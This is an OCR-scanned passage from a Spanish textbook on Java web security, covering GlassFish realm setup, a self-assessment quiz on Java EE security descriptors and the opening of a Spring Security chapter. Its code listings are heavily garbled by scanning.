log.info{™Shiro_role ok®);

} else {
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log.info{™Shiro_role not ok™);

}

fitest a typed permission

if {currentlUser.isPermitted(“shiro_access"}) {
log.info{™You may use a shiro_access.™);

1 else {

log.info{™%orry, shiro_access not allowed.™);
1

fflog out

currentUser. logout();

System.exit(@);

}

}

Ejecucion:

Fipura 4.41. Captura de pantalla. Ejecucion DemoApacheShiro

46 EIERCICIOS

Probar la implementacién mds sencilla de realm de Glassfish: el que
almacena los datos de usuarios en un fichero de texto plano. Los pasos a realizar
S0

Creacidon del realm

1. Abrirla consola de administracién de glassfish.

Recordad que el administrador por defecto es admin con password
adminadmin

Crear un nuevo realm: en el meni desplegable de la izquierda
seleccionar Configuracion > Seguridad > Dominios. En la parte
derecha de la pantalla aparecerd una lista con los dominios existentes.

[

Pulsar sobre el botdn Nuevao...
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3. Especificar las propiedades del realm. Vamos a guardar los logins
vy passwords en el archivo wsuwarios txt del directorio config dentro
del dominio domainl. El ${com.sun.aas.instanceRoot} representa el
directorio raiz del dominio actual. Una vez especificadas todas las
propiedades, pulsar sobre el botén Guardar

'H usva dominia

Cred un rewd doming d segurdad

Hombre; © testfileRealm

Hombre de clse: .' com Sun, enterprse ﬁtrilfl.{}' ad.n!t ﬂ:aj-rr .f.-ln_ﬁl-z |:!Ih':||"!1 ;I

(]
o
Hamb e de cinds oe | comink que e een crear

Propledades especilicas de esta clhise

Eonterto JAAS: * [HlcReaim

Archivo clave: ~ | FLcom sun aas. instancefoot}/confiqlusuarios. bd

Figura 4.42. Crear un dominio de seguridad desde |a consola de GlassFish

4. Abadir usuarios: en la pantalla con la lista de dominios, pulsar sobre
el nombre del dominio, testFileRealm, para editarlo. Mediante ¢l boton
Administrar usuarios se pueden ir afadiendo usuarios.

5. 8i se muestra el archive glassfish/domains/domainl/configiusuarios.
txl se verd que se ha afladido el usuario especificado. Fijaos en que el
password no esta en claro, sino que se usa un digest.

Creacion de la aplicacién de prueba

Necesitamos crear una aplicaciéon de prueba con seguridad declarativa.

1. Crear una nueva aplicacion web en NetBeans llamada TestSeguridad.
Como servidor de destino elegir Glassfish. Vamos a proteger todas las
URL de la aplicacion. En index.jsp pondremos simplemente un mensaje
“51 ves esto es que te has autenticado correctamente™.

2. Configurar el web.xml para proteger todas las URL a los usuarios con
rol “registrado”. Yamos a hacer uso de la autenticacion BASIC. Podéis
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hacer uso del editor “visual” del web.xml o bien escribir el codigo XML
“a mano™.

Por defecto al hacer doble clic sobre el web.xml se abrira el editor visual.
Pulsar sobre “security”™ e introducir la informacién que aparece en la
figura.

E Login Conflguration

) Mane

) Digest

i) Chent Certificate
@ Hasic

Bealm Mame:  |testfleReakn |

) Form

F O ocun Fana | Brows=e
1Lagin Fag ,

g Security Roles

[Rale tame || Description
|registradas [
[ add., || Edr. || Remeve |
= Securlty Constraints Add Sscurky Constrart J

e Todo Firmove |

Display harma: | Todo |

‘Wab Resourca Collection:
[rame URL Pattem BHTTE pMethed |[oeserztion |
foda i |GET, POST, HEAD, ... | |

Cade. | &0 | [ femw |

Figura 4.43. Configuracion web.xml

Configurar el fichero deseriptor glassfish-web.xml para asociar el rol
“registrados™ con el grupo “usuarios™.
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-
Security Role Mappings Add Seourity Aole Mapgpang

b= registrados

Rermava
Cilsh——

Security Role Name | |’f?‘5t'3dn5 |
Prencipals Assigred to the Role
|Principal Name || Class Mame | | Add Principal. .. |

Groups Assigned to this Raole

Group Mame | | Add Group...
LSUEMNDE

Figura 4.44. Configuracion glassfish-webxml desde netheans

Compilar, vy desplegar la aplicacién. Pulsar con ¢l botén derecho sobre
el proyecto y seleccionar Build para generar el fichero .war dentro de la
carpeta dist del projecto. Para desplegar el war, se puede hacer de forma
automatica con la opeidn de Deploy sobre el provecto web.

-6
o1 Web Pag  ew :
200 WER-D o
| % 9 geanand uid
553 prote Clean
POl inc  Venfy
i@ emor, Generste Javadoc
-@ index.
& login.jRUD
=g Source F
A1 Librories
=3 Configurz

Figura 4.45. Opcion deploy sobre el proyecto WebApplication

Probar la aplicaciém accediendo a hep:/Adocalhosi:808 1/ TesiSeguridad

Dieberia aparecer una ventana del navegador solicitando login v password.
Tras introducir el usuario v password especificados en el realm, deberia
mostrarse el fichero index jsp.
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4.7 RESUMEN

En esta unidad hemos visto como configurar la seguridad de nuestras
aplicaciones en los principales servidores de aplicaciones del mercado. Mediante
seguridad declarativa, donde se utiliza el descriptor de despliegue (web.xml),
controlamos ¢l acceso a los recursos de la aplicacion mediante nombres de usuario,
grupos v roles. Los Roles son el mecanismo que nos permite realizar autorizacion de
los usuarios para la ejecucion de determinadas acciones. Una accion estard restringida
a unos determinados Roles, negandose el acceso a aquellos que no dispongan de ese
Rol.
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4.9 AUTOEVALUACIGN UNIDAD 4

Selecciona la respuesta correcta

l. ;Como podemos garantizar el acceso de la aplicacion a los distintos
recursos usando mecanismos de autenticacion vy autorizacién?

a. <security-constraints=/ <auth-constraint=
b. =security= / <auth-constraint=

e, <security-constraints> / <auth>

d. <security-constraint= / <auth-constraint=

2. :Qué valores puede tomar el elemento <auth-method= como métodos de
autenticacion en JAVAEE?

FORM, BASIC, DIGEST, CERTIFICATE

FORM, BASIC, DIGEST, CLIENT CERT

HTTP, HTTPS, FORM, CLIENT_CERT

HTTP, HTTPS, FORM, CERTIFICATE

oo oo

3. Elelemento <login-config= realmente NO “activa™ la autentificacion. Por
defecto, cualquier cliente puede acceder a cualquier URL proporcionada
por nuestra aplicacién web sin restricciones. ;[ Qué elemento permite
forzar la autentificacion indicando el patron URL que queremos asegurar?
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<http-pattern=
<security-constraint=
<utl-pattern=
=security-paltern=

4. ;En qué clemento se pueden definir la URL de la pagina de login v la
URL de la pdgina de error en caso de fallar el login?

<form-login-config=
<security-constraint=
=<url-pattern=
<security-pattern=

(=W - -

5. ;qué atributos permiten establecer seguridad en las cookies de tal forma
que solo se envien si se estd utilzando HTTPS?

HitpOnly ¥ CookieSecure
HitpCookie y Secure
HutpOnly v Secure
HitpOnly y SecureCookie

B o oW

6. ;Cual es el nombre del realm que implementa Tomeat por defecto y
qué fichero utiliza para en el caso de que necesitemos una autenticacion
basada en formulario?

TomcatDatabascRealm v TOMCAT PATH/confitomcat-users.xml
UserDatabaseRealm vy TOMCAT PATH/confftomcat-users.xml
TomeatRealm vy TOMCAT PATH/conf/lomeat.xml
UserDatabaseRealm vy TOMCAT PATH/confftomeat xml

oo oo

7. icudles son los dominios de seguridad que hay por defecto en el servidor
de aplicaciones JBoss?

UserRealm v ApplicationRealm
ManagemeniRealm y UserRealm
ApplicationRealm v JDBCRealm
ManagementRealm y ApplicationRealm

e o o

8. En el servidor de aplicaciones GlassFish se utiliza el fichero glassfish-
web.xm! que permite asociar un ol con un determinado grupo de
usuarios. ;jCudl es la configuracidon necesaria a nivel de etiquetas que
permite asociar el rol “admin™ con el grupo “group admin™?
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a. =security-role-mapping=
<role-name~admin</role-name>=
<group-name=group admin</group-name=

=/securily-role-mapping=>

b. <security-role=
<role-name>admin<frole-name=
<group-name=group admin</group-name=

</gecurity-role=

c. =securily-mapping>
<role=admin</role>
<group=group_admin=</group=

</securily-mapping=

d. =security-role-mapping=
=role=admin</role>
<group=group admin=/group=

</securily-role-mapping=

9. ;cudles son los dominios de seguridad que hay por defecto en el servidor
de aplicaciones GlassFish?

user-realm, certificateRealm y ApplicationRealm
. File-Realm, UserRealm y ApplicationRealm
admin-realm, certificate y file
ApplicationRealm, certificate vy file

B oo

10.;qué configuracion es necesaria para indicar que la autenticacidn se
realiza mediante certificado de forma segura mediante SSL7

a. <auth-method=CERTIFIC ATE</auth-method=>
<transport-guarantee=H TTPS</transport-guarantee>

b. <auth-method=CERT=/auth-method=
<transport-guarantee=CONFIDENTIAL</transporl-guarantee=

c. <auth-method=CLIENT-CERT</auth-method>
<transport-guarantee>H TTPS</transport-guarantee=

d. =auth-method=CLIENT-CERT=/auth-method=>
<transport-guarantee>CONFIDENTIA L </transporl-guarantee=
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410 LECTURAS RECOMENDADAS

hitp:fvhivo.apache. org/index. htm!

F Dceoumentos oficiales sobre la cdmo implementar la seguridad en un
servidor JBoss
hitps:Yaccess.redhat. com/documentation/ensred-hat-jhoss-enterprise-
application-platformversion-6.4/security-architecture!

https:Yaccess.redhat. com/documentation/ensred-hat-jhoss-enterprise-
application-platformi/version-6.4how-to-configure-server-securitv/

F Apache Tomcat: Es también llamado Jakarta Tomcat o simplemente
Tomeat, funciona como un contenedor de Servlets, implementando las
especificaciones de los mismos v de Java Server Pages (J5P) de Sun
Microsystems.

¥ Autenticacion: Conjunto de Controles wtilizados para wverificar la
identidad de un usuario o entidad que interactia con el sofiware,

F Cookie: Una cookie es un pequefo fichero que almacena informacion
enviada por un sitio web y que se almacena en el equipo del usuario, de
manera que el sitio web puede consultar la actividad previa del usuario.

F Dominio: Conjunto de equipos que integran un sistema logico dentro de
una red. La division de redes en dominios incrementa el rendimiento y
la seguridad.

F JAASRealm: Es una implementacion de Tomeat version 4 de la interface

Realm para autenticar usuarios a partir de Java Authentication and
Authorization Service.

F JDBC (Java Database Connectivity): Driver que permite la conexiuon
a Bases de Datos en Java.

F JDBCRealm: Es una implementacion de Tomeat version 5 de la interface
Realm, la cual sirve para la autenticacion de usuarios que accedan a bases
de datos relacionales mediante controlador JDBC.

F Netbeans IDE: Entorno de desarrollo integrado de codigo abierto
multiplataforma para desarrollo basado en navegadores mantenido por
Oracle.

F LDAP (Lightweight Directory Access Protocol): Protocolo de Acceso
a Directorios Ligeros.



INTRODUCCION

Spring Security es un framework ligado al proyecto Spring que permite
separar el codigo de la logica de negocio del codigo que gestiona la seguridad. La
aplicacion de politicas de seguridad en una aplicacion de una cierta envergadura es
un aspecto critico v, si no se adopla desde una perspectiva correcta, puede llegar a
ser una carga que afectard v lastrard el desarrollo del sistema.

En este tema vamos a introducir Spring Security, un proyecto “hijo™ de
Spring que permite controlar de forma declarativa y totalmente configurable la
seguridad de nuestra aplicacion. Ademds, nuestro proyecto serd totalmente portable
entre servidores, a diferencia de la seguridad declarativa estindar de JavaEE, que no
lo es en varios aspectlos, por gjemplo, la definicidn de usuarios y roles.

OBJETIVOS DE LA UNIDAD DIDACTICA

l. Dar a conocer Spring security como Framework para securizar las
aplicaciones.

2. Mostrar un gjemplo de autenticacion basado en formularios con Spring.
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5.1 CONFIGURACION DE SEGURIDAD PARA UNA APLICACION WEB

En Spring Security, el encargado de gestionar la autentificacion es el
Authentication manager. Este depende de uno o varios authentication providers,
que son los que de manera efectiva obtienen el principal vy credenciales del
usuario. Spring security tiene implementados un gran nimero de proveedores de
autentificacion: login con formulario web, login con HTTP BASIC (el navegador
muestra una ventana propia para introducir fogin vy password), servidor LDAP,
certificados digitales, etc

El framework estda dividido en tres mbédulos: core, configuration y web.
Los dos primeros son necesarios siempre. El tercero solo si vamos a asegurar una
aplicacion web. Con Maven basta con incluir los artefactos correspondientes con
la siguiente configuracion en el fichero pom.xml, En ¢l momento de escribir estas
lineas la Gltima version disponible es la 4.1.

La forma de incluir una dependencia de maven es, donde el artifactld se le
indica ¢l nombre del médulo Spring:

<dependencies:
<dependency >
¢groupld:org.springfrasework. security</grouplds
tartifactId:[Spring Security Module Name]</artifactid>
swersion»d.1.8.RELEASE</versions
</dependency»

«/dependenciess

pom.xml

<dependency >

tgroupIld»org. springframework . security</groupIds>
tartifactId:spring-security-core<fartifactid>
tversion»d.1.8. RELEASE«/versions

<fdependency:

<dependency >
<groupIdzorg.springframework.security</grouplds
tartifactIdsspring-security-web</artifactIds
<version»d.1.8. RELEASE«</version>

< fdependency:

<dependency >

<groupId>org. springframework. security</groupIds>
cartifactIdsspring-security-confige/artifactlids
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<wersion>4.1.8.RELEASE</version>
<« fdependency:

Veamos una configuracion de seguridad minima para una aplicacion web.

Spring Security usa filtros de servlets de manera extensiva, por ello lo primero
es declararlos en el fichero web.xml. Lo mas sencillo es usar un filtro de la clase
DelegatingFilterProxy, que hard de interfaz entre ¢l mecanismo estandar de filtros v
los beans de Spring. A continuacion, se muestra ¢l fragmento relevante del web.xml:

wfilters

<display-name>seguridadspring</display-name>
<filter-name:springSecurityFilterChain</filter-names
<filter-class:org.springframework.web.filter.DelegatingfFilterProxy</filter-classs

<fRlters

<hlter-mapping>
<filter-name:springSecurityFilterChain</filter-namax
curl-pattern:/*</url-pattern>

<fRlter-mapping>

De forma alternativa se puede crear esta configuracion se puede realizar

desde Java de forma programatica con un WebApplicationInitializer, ereando una
clase que extienda de AbstractSecurity WebApplicationInitializer:

de

import org.springframework.security.web.context.
AbstractSecurityWebfpplicationInitializer;

public class SecurityWebImitializer

extends AbstractSecurityWebApplicationInitializer {}

La configuracion de la seguridad se hace en el fichero de definicion de beans
Spring (applicationContext.xml o similar)

«?xml version="1.8" encoding="UTF-8"7>

tbeans:beans xmlns="http://www.springframework.org/schema/security™
smlons:xsi="http://www.w3.org/2881/XML5Cchema-instance®
xmlns:beans="http://www.springframework.org/schema/beans"
xsi:rschemalocation="

http:/ fwww. springframework.org/schema/beans

http: /S fwww. springframework.org/schema/beans/spring-beans.xsd

http:/ fwww, springframework.org/schema/security

http:/ fwww. springframework.org/schema/security/spring-security. xsd™»
thttp auto-config="true™>»

tintercept-url pattern="/**" access="ROLE_USER" /3

«/http>



236 SEGURIDAD EMAPLICACIONES WEB JAVA ) R -M

tauthentication-manager alias="authenticatiocnManager™:
<authentication-providers

cuser-sarvices:

<user authorities="ROLE_USER™ name="guest" password="guest™ />
«fuser-services

«fauthentication-providers

<fauthentication-manager:

</beans:beans >

En authentication-manager se afiaden los usuarios mediante el proveedor
de servicios, asigndndole un password ¥ los roles de autorizacion. Esta informacion
serd utilizada en los procesos de autenticacion,

cauthentication-managers»
<authentication-provider:
fUSEr-services
fuser name="agdmin® password="admin_passwoerd” authorities=
“ROLE_ADMIN® /3
{user name="user®™ password="user_password" authorities="ROLE USER"™ />»
cfuser-services
<fauthentication-provider:
<fauthentication-manager:

El atributo auto-config="true™ activa por defecto los servicios de
autenticaciom BASIC, autenticacion a través de formulario autogenerado por Spring
v gestion de fogont.

La etiqueta hitp establece cudles son las URL protegidas. Cada intercept-url
especifica un patron de URL, con la sintaxis que usa ant para los paths, y los roles
que pueden acceder al recurso. Con esta configuracion, estamos protegiendo todas
las URL (patron /**), permitiendo solo el acceso a los uswarios conrol ROLE USER.
A continuacion, definimos un usuario con este rol v con login v password “guest”,

Por otro lado, hay que especificar qué proveedor de autenticacidon usaremos.
Esto se hace medianle la etiqueta authentication-provider. El proveedor de
autenticacion es el responsable de almacenar y comprobar principal, credenciales y
roles de cada usuario. Para hacer pruebas, lo mds ripido es colocar esta informacion
directamente en el XML, como hemos hecho en el gjemplo. Cada usuario viene
identificado por un user, con su login, password y lista de roles separados por comas.
Si desplegamos una aplicacion web basada en la configuracidn anterior ¢ intentamos
acceder a cualguier URL, el resultado serd un formulario de login automaiticamente
generado por Spring:
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frl.ugln with Username and Password

User: | |
Password:

Login

Figura 5.1. Pagina de login generada automaticamente por Spring Security

Por defecto, los nombres de los roles deben comenzar por “ROLE_ ",
otros nombres no serdn considerados como vilidos.

Para terminar con la configuracidn minima tenemos que indicarle al
contenedor de beans de Spring dénde estd nuestro fichero de configuracion de
seguridad. En aplicaciones web la forma estindar de hacer esto es definiendo un
listener de la clase ContextLoaderListener en el web.xml v pasidndole un parimetro
contextConfiglocation con los nombres de los ficheros de configuracion:

ccontext-param:
tparam-name:*contextConfigLocation</param-name>
cparam-value:
JWEB-INF/spring/root-context.xml
JWEB-INF/spring/security-context.xml
<fparam-value:
«fcontext-param?
<listener>»
clistener-class»
org.springframework.web. context.ContextloaderListener
«flistener-class>
<flistener:

5.2 AUTENTICACION CONTRA UNA BASE DE DATOS

Hasta ahora hemos almacenado las credenciales de los usuarios en el propio
fichero de configuracion. Obviamente esto sirve para hacer pruebas sencillas, pero
no para una aplicacion en produccidon, necesitamos un mecanismo mds realista
para obtener las credenciales. Spring Security incorpora diversos proveedores
de autenticacidn, “listos para usar”, basados en lecnologias tan diversas como
certificados digitales, LDAP, JAAS y sistemas single sign-on.
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Vamos a ver lo mds habitual en aplicaciones web, gue es almacenar las
credenciales en la base de datos, lo que permite modificarlas y gestionarlas de
manera sencilla. En Spring se usa un DAO authentication provider para esta tarea.
La configuracion mas sencilla que podemos usar es:

tauthentication-manager alias="authenticationManager™:
tauthentication-providers

tjdbc-user-service data-source-ref="miDataSource"/:
<fauthentication-providers

<fauthentication-manager:

tjee:jndi-lookup id="miDataSource” jndi-name="jdbc/securityD5" resource-
ref="true”/»

Como las credenciales estdn en una base de datos debemos conectlarnos
con ella a través de un dataSource. Ya vimos en la primera sesidon coémo acceder
a dataSources JNDI con la etiqueta <jndi-lookup=. El authentication provider por
defecto asumird que la base de datos tiene una determinada estructura, que se muestra
en la figura siguiente:

users authorities

username: String username; 5tring
password: 5tring ] authority: String
enabled: boolean ll

A

Figura 5.2, Esquema de BD por defecto para |a autenticacion JDBC

Como puede verse, se asume que tenemos dos tablas, una para guardar
el login v password de cada usuario y otra para guardar los roles, que en Spring
Security se denominan authorities. Entre ambas hay una relacidon uno a muchos va
que un usuario puede tener varios roles asignados, El campo enabled de la primera
tabla indica si un usuario esta habilitado o no.

Mucho mds habitual que vsar esta configuracion por defecto serd emplear
el esquema de base de datos que tenga nuestra aplicacion. Por ejemplo, vamos a
suponer que nuestro esquema es el de la sipuiente figura, que se muestra comparado
con el esperado por Spring por defecto.
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Figura 5.3. Esquemas de bases de datos

La adaptacién a nuestro esquema de base de datos se basa en que el
JdbeDaolmpl usa una consulta SQL predefinida para obtener fogin y password de
un usuario ¥ otra para obtener los roles asociados. Las dos consultas por supuesto
presuponen el esquema anterior. Lo que tendremos que hacer es suministrar consultas
propias gue devuelvan los resultados con los mismos nombres. En primer lugar, para

comprobar el password se hace:

SELECT usermame, password, enabled
FROM usars

WHERE usermame = 2

Donde el campo enabled, del que carece nuestra base de datos, indica si
el usuario estd o no activado. Con nuestro esquema, para devolver los mismos

resultados que la consulta anterior, hariamos:

SELECT logim as username, password, true as enabled
FROM usuarios
WHERE logim=?

Estas consultas  se modifican a  través  de

las  propiedades

usersByUsernameQuery v authoritiesByUsernameQuery de JdbcDaolmpl. Asi,

nuestro XML guedaria:

cauthentication-manager alias="authenticatiocnManager™:

<authentication-provider wser-service-ref="milUserServicelDBC™ />

<fauthentication-manager:
<beans:bean id=miUserServicelDBC"

class="org.springframework.security.core.userdetails.jdbc.ldbcDaoImpl®»

<beans:property name="dataScurce"” ref="miDataSource®/:»
<beans:property name="usersBylUsernamefuery®

value="SELECT logim as username, password, true as enabled
FROM usuarios WHERE login=2?"/:

<beans:property name="authoritiesBylUsernameQuery"
value="SELECT logim as username, rol as authority

FROM roles WHERE login=?"/>
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</beans:bean:
tjee:jndi-lookup id=“miDataSource"” jndi-name="jdbc/securityDs”
resource-ref="true"/>

5.3 SEGURIDAD WEB

Hemos wvisto que la etiqueta http con el atributo awto-config="true"
configura automaticamente una serie de servicios de seguridad para aplicaciones
web. A continuacidn, veremos como configurar v controlar todo lo relacionado con
la seguridad de la capa web: la visualizacion o no de ciertos fragmentos de HTML
dependiendo del rol, el acceso a los métodos de los controladores, ete.

5.3.1 Autenticacion basada en formularios

La mayoria de las aplicaciones web usan un formularic HTML para que el
usuario introduzea su login y password. Hemos visto gque por defecto Spring crea
automdticamente este formulario, pero lo habitual serd que lo hagamos nosotros para
poder darle el “look and feel” de la aplicacion. Esto se consigue con la etiqueta
form-login:

thttp pattern="/login.html” security="none" />

thttp>

cintercept-url pattern="/**" access="ROLE_USER, ROLE_ADMIN™ />
<form-1login login-page="/login.html*” default-target-url="/main.html™ />
<fhttp>

Con el atributo login-page se especifica la pdgina que contiene el formulario
de login v con defawlt-target-url la direceidn a la que se saltard por defecto, Como ya
hemos dicho, en este aspecto la autenticacion con formulario de Spring se diferencia
ligeramente de la seguridad declarativa estdndar de JavaEE. En el estandar no se suele
saltar directamente a la pagina de login, sino que esta se muestra automdticamente cuando
el usuario intenta acceder a un recurso protegido. En Spring nada nos impide acceder
directamente a la pagina de login, va que se nos redirigird una vez hecho login a la pigina
indicada por default-target-url. Independientemente de ello, por supuesto, cuando en
Spring se intenta acceder a un recurso protegido también “salta” la pagina de login.

La existencia de la pagina de fogin nos obliga a desprotegerla para que los
usuarios puedan acceder a ella. Esto se hace poniendo otro elemento hitp aparte que
indique que esta pagina no debe estar protegida con el atributo security="none".

thttp pattern="/login.html*” security="none*/>
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La pagina de login contendra un formulario HTML cuyos campos deben
tener un nombre estindar, al estilo de los que se usan en seguridad declarativa
JavakEE:

«form action="j_spring_security_check™ method="post™:
login: <input type="text” name="j_usermame/> <br/>
password: <input type=“text™ name="j_password”/> <br/>
<input type=""submit® walue="Entrar*/:

< fFormz

5.3.2 Autenticacion BASIC

En la autenticacion BASIC, el navegador muestra una ventana de tipo
“popup™ en la que introducir login ¥ password. En realidad, la mayor utilidad de
este mecanismo es para el acceso con un cliente de eseritorio, yva que la forma de
envio de login v password al servidor es sencilla de implementar v no requiere el
mantenimiento de sesiones, a diferencia del fogin con formulario.

Para usar autenticacion BASIC, simplemente colocariamos la etiqueta hitp-
basic en el XML

tsecuritychttp auto-config="true":

tsecurityrintercept-url pattern="/**" access="ROLE_USER"/>
tsecuritychttp-basic/»

4fsecurity:http>

La autenticacion BASIC se puede tener funcionando simultineamente con
la de formulario. Asi, un navegador que intente acceder a una URL protegida serd
redirigido al formulario, mientras que por ejemplo un cliente REST que envie la
cabecera “Authorization™ con fogin v password (la usada por el estindar BASIC)
tendrd el acceso permitido si las credenciales son correctas. De hecho, como ya hemos
visto, la opeidn auto-config=true pone las dos en funcionamiento simultdneamente.
También podemos configurar por separado la seguridad para clientes REST v web de
modo que cada uno tenga un punto de entrada distinto en la aplicacidn:

«!l-- serwvicios REST con autentificacidn Basic --»

<http pattern="/rest/**" create-session="stateless">
tintercept-url pattern=*/**' access="ROLE_REMOTE' />
thttp-basic />

< http>

¢!-- Desproteger la pdgina de login--»

thttp pattern="/login.htm** security="none"/>

«!l-- Clientes web con autentificacidn basada en formulario -->»
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thttp:

cintercept-url pattern=*'/**' access="ROLE_USER" />

«form-login login-page='/login.htm® default-target-url="/home.htm"/>
tlogout [»

</http>

El atributo create-session="stateless™ del ejemplo anterior le indica a Spring
que no es necesario mantener una HitpSession en el servidor para autenticar a los
clientes REST, va que estos enviardn en cada conexion las credenciales.

5.3.3 Recordar los datos del usuario

Spring nos da la posibilidad de recordar que ya hemos hecho login en
un sitio para ahorrarmos la operacion en sucesivas visitas al sitio desde la misma
magquing, aungue cerremos el navegador. Esta es una opeidon muy habitual en muchos
sitios web v normalmente se implementa guardando en una cookie un roken de
autenticacion, que asegura que en algan momento hemos hecho fogin correctamente,
En Spring esta funcionalidad se llama “remember-me” y se implementa con una
cookie que es por defecto un hash md5 del fogin v password del usuario, la fecha
de expiracion del token v una palabra clave propia de la aplicacion. Para activar el
“remember-me™ hay que usar la etigueta del mismo nombre dentro de la de hitp:

chttp>
<remember-me remember-me-paraneter="remember-me" />
«/http>

Ademis, para que se active esta funcionalidad debemos afadir un campo
al formulario de login. Este campo le permitird al usuario elegir si desea usar o no
la caracteristica, vy se llamara con el mismo nombre que hemos puesto en llamarse
remember-me-parameter.

Nuestro formulario de fogin con esta caracteristica quedaria asi:

<form action="j_spring_security_check™ method="post™:
login: <input type="text” name="j_username"/> <br/>
password: <input type=“text™ name="j_password™f> <br/>
<input type=*checkbox™ name="remember_me"/:

Recordar mi usuario y password <br/:

tinput type="submit* walue="Enwiar®/>

<fforms
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5.3.4 Logout

Spring nos ofrece un servicio de logout que se encarga de invalidar
automaticamente la sesion HTTP v, si lo deseamos, redirigir al usuario a una pagina
de “salida”. Este servicio se conligura con la etiqueta logout, que se debe colocar
dentro de la de hitp:

¢securitychttp auto-config="true":
<security:logout logout-url="/logout.jsp*
logout-success url="/logout.jsp”/»
<fsecuritythttp>

El atributo logout-urf indica qué URL “disparard™ el proceso. Por tanto, para
que ¢l usuario pueda hacer logouwr bastard con un enlace a esta URL en cualquier
pagina. Por defecto esta URL es /j_spring_ security logout. Con logout-success-url
indicamos a qué pagina se saltarad tras invalidar la sesion. Por defecto es */™.

5.3.5 Seguridad en las paginas JSP

Ya hemos visto como permitir o denegar el acceso a una pdgina completa.
Ahora vamos a ver como hacer que se muestre 0 no determinada seccién de una
pagina JSP. Por ejemplo, podriamos mostrar solo el meni de administrador a los
usuarios con ROLE _ADMIN, o mostrar inicamente el logour a los usuarios gue
s¢ havan autenticado. Para ello lo mas sencillo es usar la taglib de Spring Security,
La etiqueta bdsica para implementar esta funcionalidad es authorize, que debe
“envolver” la seccion de JSP que deseamos mostrar.

Para usar esta taglib debemos introducir otra dependencia en el pom . xml

tdependency >

cgroupidzorg. springframework. security</grouplds
tartifactIds>spring-security-taglibs</fartifactIds
<version»4.1.8.RELEASE</version>

«fdependency»

Hay dos formas de controlar 51 se muestra o no la seccion de codigo JSP. La
primera es usar una URL como referencia, de modo que ¢l codigo solo se mostrard a
los usuarios gue tengan permiso para acceder a ella.

«%§ taglib prefix="sec™ uri=http://wew.springframewcrk.org/security/tags %>
¢sec:authorize url="fadminfeliminar®»

<a href="fadmin/eliminar®>Eliminar</ax>

<fseciauthorizes
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La otra forma de usar authorize es con el lenguaje de expresiones SpEL
(Spring Expression Languape) que mostrara el coddigo solo si se evalla a true. Hay
una serie de métodos de Spring Security especificamente disefiados para ser usados
con SpEL, por gjemplo:

r

r

hasRole(rol): devuelve true si el usuario actual que se ha autenticado
tiene el rol pasado por pardmetro,

hasAnyRole{roll, rol2, ...): devuelve true s1 el usuario actual que se ha
autenticado tiene uno de los roles especificados.

permitAll(}: Indica que queremos permitir ¢l acceso a todos los usuarios.

isFullvAuthenticathed(): devuelve true si el usuario se ha autenticado
con login ¥ password. En el caso en que se haya usado el remember-me,
devolveria false.

F IsFullyAnonymous(): devuelve true si el usuario es andnimo.

isRememberMe():devuelve true si el usuario actual se autenticd de
forma automatica.

haslp Address(direceibn_1P): devuelve true s1 el uswario se ha
autenticado desde la IP pasada por pardmetro. Se pueden usar rangos
como “192.168.1.1/20°

La expresion de SpEL hay que ponerla como valor del atributo aceess del
tag authorize. Por gjemplo, para permitir acceso solamente a un usuario con rol
administrador{ROLE ADMIN) gque se conecie desde la ip 192.168.1.1:

%@ taglib prefix="sec™ uri=http://www.springframewcrk.org/security/tags

x>

¢sec:authorize access="hasRole( "ROLE_ADMIN') and
hasIphddress({‘192.168.1.1" )"

<p*Esto solo lo wveria un wsuario adminitrador conectado desde la ip
192.168.1.1</p>

<fseciauvthorize:

Este tag proporciona acceder tanto a la informacidn de autenticacién
(nombre de usuario) como a la de autorizacidn a través de la informacion de roles. En
este ejemplo, recuperamos el nombre del usuario a través del principal y mostramos
informacion dependiendo si el usuario antenticado tiene el rol de administrador.
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¢sec:authentication property="principal.username" j3»
«seciauthorize ifAnyGranted="ROLE_ADMIN" >
c¢h2»# This user has ROLE_ADMIN</h2:

<fsec:authorizes

9.4 SEGURIDAD EN LA CAPA DE NEGOCID

Para mayor seguridad podemos controlar los permisos al ejecutar cualquier
método Java., Los métodos restringidos se pueden especificar de dos formas: con
anotaciones en ¢l codigo fuente o con etiquetas XML en ¢l fichero de configuracion.
Como siempre, la ventaja de la anotacion es que el cddigo queda mds claro y
autocontenido. Por otro lado, si colocamos las restriceiones de acceso en un fichero
XML podemos hacer que estas afecten a miltiples métodos y no solo a uno.

Lo primero que necesitamos es la habilitar este tipo de seguridad. Esta
configuracidn se hace con la etigueta global-method-security.

En una aplicacion web, el intento de ejecutar codigo sin permiso acabard
generando una respuesta HTTP con codigo 403 (acceso denegado), gracias a los
filtros de Spring. Esto nos permite tratar de manera uniforme las denegaciones de
acceso sean por URL o por codigo.

54.1 Seguridad con anotaciones estandar

En algunos casos puede ser preferible incluir las restricciones de seguridad
en el propio cddigo fuente. Spring tiene una anotacién propia para ello, @ Secured,
aungue también soportalasanotaciones tipicas como (@ Roles Allowed. Concretamente
Spring soporta las anotaciones definidas en el JSR-250.Evidentemente, usar las
anotaciones estindar aumentard la portabilidad de nuestro cddigo, por lo que es el
estilo recomendado. En este caso, el XML de configuracién quedaria:

«security:global-method-security jsr258-annotations="enabled™/»

Si guisi¢ramos usar la anotacién (@ Secured deberiamos incluir el atributo
secured-annotations="enabled”. Ambos tpos de anotaciones pueden usarse
simultineamente. En el método que queramos proteger escribiriamos:

@Secured("ROLE_ADMIN™)
@RolesAllowed ("ROLE_ADMIN")
public woid getUsers(} {
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54.2 Seguridad con anotaciones de Spring Security

La version 3 del framework afladié la posibilidad de usar expresiones SpEL
en las anotaciones de seguridad del codigo. No obstante, las anotaciones que hemos
visto (@ RolesAllowed v @ Secure) no soportan el uso de expresiones. Se introducen
para ello dos anotaciones mdas: @PreAuthorize y @PostAuthorize. La primera
de ellas chequea que la expresion SpEL sea cierta antes de ejecutar el codigo. La
segunda, tras ejecutarlo.

@Prefuthorize("haskole( "ROLE_ADMIN? )™

public woid createlUser{User user);

En este gjemplo, al ejecutar el método createUser, primero se comprueba
el valor de la expresion, en este caso se compruecba que el usuario tiene el rol de
administrador.

Para poder habilitar y usar estas anotaciones lo primero es configurarlas en
el XML de Spring Security:

<global-method-security pre-post-annotatiens="enabled”/:

Una wez hecho esto, podemos anotar cualguier método que gueramos
proteger v en que la condicidon de chequeo vaya mis alld de tener un determinado
rol. Ademds de usar las expresiones tipicas de SpEL, podemos usar las funciones
propias de seguridad que ya vimos en el apartado anterior (hasRole, hasAnyRole,
haslPAddress, isFully Authenticated).

54.3 Seguridad en el XML de configuracion

La principal ventaja de esta forma de trabajar es que podemos cambiar la
seguridad sin necesidad de tocar una sola linea de codigo. En el XML, con la etiqueta
